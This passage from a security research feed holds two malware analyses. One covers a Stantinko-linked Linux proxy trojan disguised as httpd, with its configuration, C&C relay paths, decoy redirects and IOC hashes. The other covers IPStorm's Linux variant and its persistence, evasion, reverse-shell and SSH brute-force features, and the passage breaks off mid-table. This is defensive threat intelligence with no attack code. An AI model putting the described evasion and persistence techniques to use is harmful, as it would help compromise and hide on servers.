&lt;h2&gt;Intro&lt;span class="hx:absolute hx:-mt-20" id="intro"&gt;&lt;/span&gt;
&lt;a href="#intro" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;It is common for threat actors to evolve their Linux malware. BlackTech with
their new &lt;a href="https://blogs.jpcert.or.jp/en/2020/11/elf-plead.html"target="_blank" rel="noopener"&gt;ELF_PLEAD&lt;/a&gt;
malware and Winnti&amp;rsquo;s
&lt;a href="https://twitter.com/IntezerLabs/status/1308740144120213506"target="_blank" rel="noopener"&gt;PWNLNX&lt;/a&gt; tool are
recent examples. On par with this trend, we have discovered a new version of a
Linux proxy trojan related to Stantinko group. The malware has just one
detection in VirusTotal at the time of this publication.&lt;/p&gt;
&lt;p&gt;Stantinko group is known for targeting Windows operating systems with ongoing
campaigns dating back to 2012. The group&amp;rsquo;s malware mainly consists of
coin-miners and adware botnets.&lt;/p&gt;
&lt;p&gt;In a 2017
&lt;a href="https://www.welivesecurity.com/wp-content/uploads/2017/07/eset_stantinko_whitepaper_final.pdf"target="_blank" rel="noopener"&gt;white paper&lt;/a&gt;
summarizing Stantinko&amp;rsquo;s operations, researchers at ESET analyzed a Linux trojan
proxy. Up until now, this was the only known Linux malware belonging to
Stantinko.&lt;/p&gt;
&lt;p&gt;We have identified a new version of this Linux trojan masqueraded as &lt;code&gt;httpd&lt;/code&gt;.
httpd is Apache Hypertext Transfer Protocol Server, a commonly used program on
Linux servers. The sample&amp;rsquo;s version is 2.17, and the older version is 1.2*.&lt;/p&gt;
&lt;p&gt;We believe this malware is part of a broader campaign that takes advantage of
compromised Linux servers. Below we provide a technical analysis of the malware
and compare it to its previous version.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The new proxy version file name is &lt;code&gt;httpd&lt;/code&gt; and it has only one detection in
VirusTotal at the time of this writing. Figure 1 below depicts the result from
VirusTotal. The sample was uploaded on November 7, 2020 from Russia, one of
Stantinko&amp;rsquo;s main target countries. The sample is an unstripped 64-bit ELF
binary.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/11/stantinkos-proxy-after-your-apache-server/images/fig1.png" title="Figure 1: The sample&amp;#39;s detection report in VirusTotal (7d2a840048f32e487f8a61d7fc1a0c39)." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: The sample&amp;#39;s detection report in VirusTotal (7d2a840048f32e487f8a61d7fc1a0c39).&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Malware Flow&lt;span class="hx:absolute hx:-mt-20" id="malware-flow"&gt;&lt;/span&gt;
&lt;a href="#malware-flow" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Upon execution, the malware will validate a configuration file which is
delivered together with the malware on the infected machine. The malware
expects the configuration file to be located at &lt;code&gt;/etc/pd.d/proxy.conf&lt;/code&gt;. If the
configuration file does not exist, or if it lacks the required structure, the
malware exits without conducting any additional malicious activity. Figure 2
below is a snippet from the configuration parsing logic. The configurations are
stored as key/value pairs.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/11/stantinkos-proxy-after-your-apache-server/images/fig2.png" title="Figure 2: ParseConfigElement function is used to parse the configuration file." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: ParseConfigElement function is used to parse the configuration file.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The configuration file is expected to have the following keys: &lt;code&gt;proxy_ip&lt;/code&gt;,
&lt;code&gt;port&lt;/code&gt;, &lt;code&gt;redirect_url&lt;/code&gt;, &lt;code&gt;localhost&lt;/code&gt;, &lt;code&gt;ip_header&lt;/code&gt; and
&lt;code&gt;request_header_log_files&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After validating and parsing the configuration file structure, the
&lt;code&gt;start_demon&lt;/code&gt; function is called and the proxy daemonizes itself. Then, it
creates a socket and a listener to accept connections from a client. We believe
the clients who interact with this Trojan are other infected machines that are
part of the campaign. Figure 3 is a snippet taken from the main function,
showing the general code flow described above.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/11/stantinkos-proxy-after-your-apache-server/images/fig3.png" title="Figure 3: Main function flow snippet" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Main function flow snippet&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Once a client connects to the listener, the program calls the
&lt;code&gt;on_client_connect&lt;/code&gt; function. First, it checks if the request method is &lt;code&gt;GET&lt;/code&gt;,
&lt;code&gt;POST&lt;/code&gt; or &lt;code&gt;NOTIFY&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If the request method is GET, the program will reply with a 301 redirect HTTP
response containing the &lt;code&gt;redirect_url&lt;/code&gt; parameter from the configuration file.
This means that if the C&amp;amp;C IP is simply searched, using a browser for instance,
the response could be misleading by redirecting to a benign website, leaving no
trace of an extra payload that is used in the attack. If the request method is
POST or NOTIFY, the malware will build a POST request to send to the C&amp;amp;C server
based on the client&amp;rsquo;s HTTP request headers and content, using the
&lt;code&gt;create_post_data&lt;/code&gt; function. The program will then call the
&lt;code&gt;mysql_server_do_request&lt;/code&gt; function which is in charge of sending the POST
request to the C&amp;amp;C. Figure 4 shows a snippet from the &lt;code&gt;on_client_connect&lt;/code&gt;
function.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/11/stantinkos-proxy-after-your-apache-server/images/fig4.png" title="Figure 4: Snippet from on_client_connect function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: Snippet from on_client_connect function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The POST request is sent to one of the following paths on the C&amp;amp;C server:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/kbdmai/index.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/kbdmai/dht/index.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/kbdmai/DRTIPROV/index.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/kbdmai/winsvc/index.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/kbdmai/anti_rstrui/index.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The path is selected in the detect_proxy_script function based on the data sent
from the client. We believe that each path delivers a different payload as part
of the campaign&amp;rsquo;s attack chain. The C&amp;amp;C IP address is stored as the proxy_ip
parameter in the config file. Finally, the proxy forwards the C&amp;amp;C response back
to the client. Figure 5 emphasizes the attack flow at a high level.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/11/stantinkos-proxy-after-your-apache-server/images/fig5.png" title="Figure 5: Attack Flow" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: Attack Flow&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An infected client sends a POST or NOTIFY HTTP request to the proxy&lt;/li&gt;
&lt;li&gt;The proxy parses the request and passes on a POST request to the attacker&amp;rsquo;s
server&lt;/li&gt;
&lt;li&gt;The attacker&amp;rsquo;s server replies to the proxy and the proxy passes on the
response to the client&lt;/li&gt;
&lt;li&gt;A non-infected machine sends a GET request to the proxy&lt;/li&gt;
&lt;li&gt;The proxy replies with a 301 Redirect to a preconfigured URL&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Versions Comparison&lt;span class="hx:absolute hx:-mt-20" id="versions-comparison"&gt;&lt;/span&gt;
&lt;a href="#versions-comparison" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;With a nearly three year difference between the two versions, the trojan
proxies have similar purpose but they are not identical. In this section we
will compare version 1.2* and 2.17 based on three criteria: Parameters,
functionality, and ELF structure.&lt;/p&gt;
&lt;h3&gt;Parameters&lt;span class="hx:absolute hx:-mt-20" id="parameters"&gt;&lt;/span&gt;
&lt;a href="#parameters" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The new version (2.17) uses a configuration file that is dropped on the
victim&amp;rsquo;s machine together with the malware. The configuration file contains the
C&amp;amp;C IP address together with other parameters. In the old version (1.2*) the
C&amp;amp;C is hardcoded in the binary, making it easier to block the campaign&amp;rsquo;s
traffic once the binary is detected.&lt;/p&gt;
&lt;h3&gt;Functionality&lt;span class="hx:absolute hx:-mt-20" id="functionality"&gt;&lt;/span&gt;
&lt;a href="#functionality" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In addition to the proxy functionality, the old version receives files and self
update commands from the C&amp;amp;C. The new version is more simple in that it only
functions as a proxy.&lt;/p&gt;
&lt;h3&gt;ELF Structure&lt;span class="hx:absolute hx:-mt-20" id="elf-structure"&gt;&lt;/span&gt;
&lt;a href="#elf-structure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Both versions 1.2* and 2.17 are unstripped and include debug symbols. The old
version is statically linked, whereas the new version is dynamically linked.&lt;/p&gt;
&lt;h2&gt;The Stantinko Connection&lt;span class="hx:absolute hx:-mt-20" id="the-stantinko-connection"&gt;&lt;/span&gt;
&lt;a href="#the-stantinko-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After uploading the file to Intezer Analyze we noticed that the new variant
shares several function names with the old one. These functions, such as
&lt;code&gt;get_binary_full_path&lt;/code&gt; and &lt;code&gt;read_variable_string&lt;/code&gt;, are not called statically in
the new version. We are almost certain these functions are leftover from the
previous variant.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/11/stantinkos-proxy-after-your-apache-server/images/fig6.png" title="Figure 6: String reuse between the Linux versions" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: String reuse between the Linux versions&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Interestingly, the C&amp;amp;C paths hint at some of Stantinko&amp;rsquo;s earlier campaigns
based on
&lt;a href="https://www.welivesecurity.com/wp-content/uploads/2017/07/eset_stantinko_whitepaper_final.pdf"target="_blank" rel="noopener"&gt;ESET&amp;rsquo;s research&lt;/a&gt;.
An example of the hard coded paths is shown in Figure 7. The root directory
name is kbdmai. &lt;code&gt;KDBMAI.dll&lt;/code&gt; is a malware filename used by Stantinko in 2012.
Also, the malware&amp;rsquo;s C&amp;amp;C was hosted on &lt;code&gt;kdbmai[.]net&lt;/code&gt;. Another interesting
directory is DRTIPROV. DRTIPROV is part of a Program Database (pdb) path from
one of the group&amp;rsquo;s Windows malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/11/stantinkos-proxy-after-your-apache-server/images/fig7.png" title="Figure 7: Path hard coded in the detect_proxy_script function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: Path hard coded in the detect_proxy_script function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Wrap-Up&lt;span class="hx:absolute hx:-mt-20" id="wrap-up"&gt;&lt;/span&gt;
&lt;a href="#wrap-up" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Stantinko is the latest malware targeting Linux servers to fly under the radar,
joining threats such as
&lt;a href="../../../2020/07/watch-your-containers-doki-infecting-docker-servers-in-the-cloud"&gt;Doki&lt;/a&gt;,
&lt;a href="../../../2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware"&gt;IPStorm&lt;/a&gt;
and
&lt;a href="https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/"target="_blank" rel="noopener"&gt;RansomEXX&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The code from the new Stantinko sample is now indexed in Intezer&amp;rsquo;s Genome
Database.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/11/stantinkos-proxy-after-your-apache-server/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I want to thank Nicole Fishbein and Joakim Kennedy for their contributions to
this analysis&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;New version: 2.17&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;1de81bf6ee490b6bebe9f27d5386a48700e8431f902f4f17d64ddc5d8509ca7a&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Old version: 1.2*&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;889aa5a740a3c7441cdf7759d4b1c41c98fd048f4cf7e18fcdda49ea3911d5e5
968b41b6ca0e12ea86e51e0d9414860d13599cd127ad860e1c52c2678f4f2cb9
43a6894d5953b37f92940d5c783c9977690f358b5e25bba8c096fa54657bb2e5
a305d488733d50ea92a2794cb6e0aa9d1d176e2c8906305ea48ff503fc2eb276&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>A Storm is Brewing: IPStorm Now Has Linux Malware</title><link>https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/</link><pubDate>Thu, 01 Oct 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/</guid><description>
&lt;h2&gt;UPDATE NOVEMBER 2023: IPStorm Infrastructure Dismantled by FBI&lt;span class="hx:absolute hx:-mt-20" id="update-november-2023-ipstorm-infrastructure-dismantled-by-fbi"&gt;&lt;/span&gt;
&lt;a href="#update-november-2023-ipstorm-infrastructure-dismantled-by-fbi" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The FBI today revealed US law enforcement&amp;rsquo;s dismantlement of a botnet proxy
network, along with a &lt;a href="https://www.justice.gov/usao-pr/pr/russian-and-moldovan-national-pleads-guilty-operating-illegal-botnet-proxy-service"target="_blank" rel="noopener"&gt;guilty plea&lt;/a&gt;
for the individual responsible for the botnet
infrastructure which was associated with the IPStorm malware. This achievement
is a significant milestone in ongoing efforts to combat cyber threats. The
research team at Intezer assisted in the FBI&amp;rsquo;s case, sharing our findings and
analysis about the new IPStorm malware variants and capabilities as it expanded
to infect Linux, Mac, and Android devices around the world.&lt;/p&gt;
&lt;h2&gt;A Storm is Brewing&lt;span class="hx:absolute hx:-mt-20" id="a-storm-is-brewing"&gt;&lt;/span&gt;
&lt;a href="#a-storm-is-brewing" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The development of cross-platform malware is not new, however, we continue to
observe a number of malware that were previously documented only targeting
Windows now
&lt;a href="https://intezer.com/blog/looking-back-on-the-last-decade-of-linux-apt-attacks/?utm_campaign=research-blog&amp;amp;utm_content=a-storm-is-brewing-ipstorm-now-has-linux-malware&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;targeting the Linux platform&lt;/a&gt;.
One of these threats is IPStorm.&lt;/p&gt;
&lt;p&gt;In May 2019, researchers from
&lt;a href="https://www.anomali.com/blog/the-interplanetary-storm-new-malware-in-wild-using-interplanetary-file-systems-ipfs-p2p-network"target="_blank" rel="noopener"&gt;Anomali&lt;/a&gt;
discovered a new Golang malware targeting Windows, which they dubbed
&lt;strong&gt;IPStorm&lt;/strong&gt; (InterPlanetary Storm). IPStorm is a botnet that abuses a
legitimate Peer-to-peer (p2p) network called InterPlanetary File System (IPFS)
as a means to obscure malicious traffic. It was found the malware eventually
allowed attackers to execute arbitrary PowerShell commands on the victim&amp;rsquo;s
Windows machine.&lt;/p&gt;
&lt;p&gt;Our research team recently identified new Linux variants of IPStorm targeting
various Linux architectures (ARM, AMD64, Intel 80386) and platforms (servers,
Android, IoT). We have also detected a macOS variant. The macOS variant and
most of the Linux samples are fully undetected in VirusTotal at the time of
this publication. IPStorm is written in Golang, which enabled Intezer to detect
cross-platform code connections between the Linux samples and the Windows
malware first reported by Anomali.&lt;/p&gt;
&lt;p&gt;The Linux variant has additional features over the documented Windows version,
such as using &lt;strong&gt;SSH brute-force&lt;/strong&gt; as a means to spread to additional victims
and &lt;strong&gt;fraudulent network activity&lt;/strong&gt; abusing
&lt;a href="https://store.steampowered.com/"target="_blank" rel="noopener"&gt;Steam&lt;/a&gt; gaming and advertising platforms. The
Linux variant has adjusted some features in order to account for the
fundamental differences that exist between this operating system and Windows.&lt;/p&gt;
&lt;p&gt;In this post, we will present a code relations graph between the IPStorm
Windows and Linux samples, analyze one of the Linux variant&amp;rsquo;s behavior, and
compare its features and capabilities to the old Windows samples to track its
evolution. Following we will take a deeper dive into some notable features and
explain how to respond to this threat.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of IPStorm&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-ipstorm"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-ipstorm" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Most of the IPStorm Linux samples were fully undetected before we submitted
them for genetic analysis in Intezer.&lt;/p&gt;
&lt;p&gt;In this post, we will focus on the
&lt;code&gt;658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117&lt;/code&gt; Linux
sample.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig1.png" title="658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117 sample undetected in VirusTotal." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117 sample undetected in VirusTotal.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Because IPStorm is written in Golang, not only can we observe strong code
connections between the different Linux variants, we can also identify
connections to IPStorm&amp;rsquo;s Windows samples uploaded to Intezer in 2019.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig2.png" title="Samples analyzed and classified by Intezer in the IPStorm malware family." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Samples analyzed and classified by Intezer in the IPStorm malware family.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The following map emphasizes code similarities between the different versions
and operating systems. The nodes represent the individual samples and the lines
are the code relations between them. All samples are linked to each other in
some way:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IPStorm PE files from 2019&lt;/li&gt;
&lt;li&gt;IPStorm ELF files from 2020&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig3.png" title="Map showing IPStorm code similarities between different samples analyzed. Nodes represent the individual samples and the lines show code relations between them." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Map showing IPStorm code similarities between different samples analyzed. Nodes represent the individual samples and the lines show code relations between them.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The graph depicts three main clusters, with each cluster containing samples
that have strong code connections between them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PE, intel 80386 architecture&lt;/li&gt;
&lt;li&gt;ELF, intel 80386 architecture&lt;/li&gt;
&lt;li&gt;ELF, amd x86-64 architecture&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You will also notice shared code exists between the ELF clusters and the ELF
and PE intel 80386 architecture clusters.&lt;/p&gt;
&lt;p&gt;You can use the &lt;code&gt;cluster_directory.py&lt;/code&gt; API script in this GitHub
&lt;a href="https://github.com/intezer/analyze-scripts"target="_blank" rel="noopener"&gt;repository&lt;/a&gt; to create a cluster
graph of your own. IPStorm Linux Variant Behavior Flow&lt;/p&gt;
&lt;p&gt;The Linux variant symbols are stripped. Using the plugin
&lt;a href="https://github.com/sibears/IDAGolangHelper"target="_blank" rel="noopener"&gt;IDAGolangHelper&lt;/a&gt; we retrieved the
file&amp;rsquo;s symbols and saw exactly which packages the malware contains. A package
in Go is a bundle of Go source files which make up a specific functionality.
Every Go source file belongs to a package.&lt;/p&gt;
&lt;p&gt;The Linux malware&amp;rsquo;s main logic is implemented in a package called
&lt;code&gt;storm_starter&lt;/code&gt;, a new package that was not in the Windows version. All logic
was implemented via the main function in the Windows version.&lt;/p&gt;
&lt;p&gt;Both versions have similarities in the way the main flow is implemented,
however, the Linux instances have additional features and adjusted some logic
due to the differences that exist between the two operating systems.&lt;/p&gt;
&lt;p&gt;The Linux iteration starts by disabling the out-of-memory (OOM) killer in order
to prevent it from terminating the malware. It then proceeds to check for any
processes related to antiviruses or other security tools that may prevent
further execution of the malware. Next the malware generates and saves pubkeys
in a file called &lt;code&gt;strom.key&lt;/code&gt;. The location of where this key is saved is based
on privileges that the malware was executed with. If the malware was executed
with root privileges, the key will be stored at &lt;code&gt;/etc/storm.key&lt;/code&gt;. Otherwise, it
will be saved at &lt;code&gt;/tmp/storm.key&lt;/code&gt;. The malware then tries to establish
connections with other nodes in the peer to peer network.&lt;/p&gt;
&lt;p&gt;The malware sends HTTP requests to different services such as
&lt;code&gt;diagnostic[.]opendns[.]com/myip&lt;/code&gt;, &lt;code&gt;ifconfig[.]io/ip&lt;/code&gt;, and
&lt;code&gt;myip[.]dnsomatic[.]com&lt;/code&gt; to receive the external IP address of the victim
server. If the malware is running as root, it will create a service under
systemd to achieve persistence and copy itself to /usr/bin/storm. Otherwise, it
will be copied to /tmp/storm. The malware will then relaunch itself from the
new installation path.&lt;/p&gt;
&lt;p&gt;This new process is responsible for executing the main features of the IPStorm
malware, including reverse shell, which was previously seen in the Windows
variant—maintaining connection with other peers in the P2P network and a new
feature for spreading the malware to other victims.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig4.png" title="IPStorm Linux output non-privileged user." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IPStorm Linux output non-privileged user.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Linux vs. Windows Comparison&lt;span class="hx:absolute hx:-mt-20" id="linux-vs-windows-comparison"&gt;&lt;/span&gt;
&lt;a href="#linux-vs-windows-comparison" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Comparing IPStorm Linux version &lt;code&gt;0.2.05a&lt;/code&gt; to Windows version &lt;code&gt;0.0.2m&lt;/code&gt;, it
became clear the developer added features and altered existing ones to attack
Linux platforms.&lt;/p&gt;
&lt;h3&gt;Packages Comparison&lt;span class="hx:absolute hx:-mt-20" id="packages-comparison"&gt;&lt;/span&gt;
&lt;a href="#packages-comparison" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware is composed of different Golang packages with each package
providing a different feature. The following table categorizes package
comparisons between the two versions:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Golang Package&lt;/th&gt;
&lt;th&gt;Functionality&lt;/th&gt;
&lt;th&gt;Linux Version Version 0.2.05a (2020)&lt;/th&gt;
&lt;th&gt;Windows Version Version 0.0.2m (2019)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;scan_tools&lt;/td&gt;
&lt;td&gt;Scans for potential victims&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;web_api_client&lt;/td&gt;
&lt;td&gt;Handles HTTP requests and responses&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;p2p (part of the web API)&lt;/td&gt;
&lt;td&gt;HTTP over P2P&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;reque_client&lt;/td&gt;
&lt;td&gt;Handles the communication of peers in the network&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;commander&lt;/td&gt;
&lt;td&gt;Handles HTTP requests&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;starter&lt;/td&gt;
&lt;td&gt;Implements the main logic of the malware (basically the &amp;ldquo;main function&amp;rdquo;)&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;malware-guard&lt;/td&gt;
&lt;td&gt;Antivirus evasion&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;avbypass&lt;/td&gt;
&lt;td&gt;Antivirus evasion&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;backshell&lt;/td&gt;
&lt;td&gt;In charge of the reverse shell&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ddb&lt;/td&gt;
&lt;td&gt;Database&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;filetransfer&lt;/td&gt;
&lt;td&gt;Persistence and managing file transfering to other peers&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;logging&lt;/td&gt;
&lt;td&gt;Output log&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;node&lt;/td&gt;
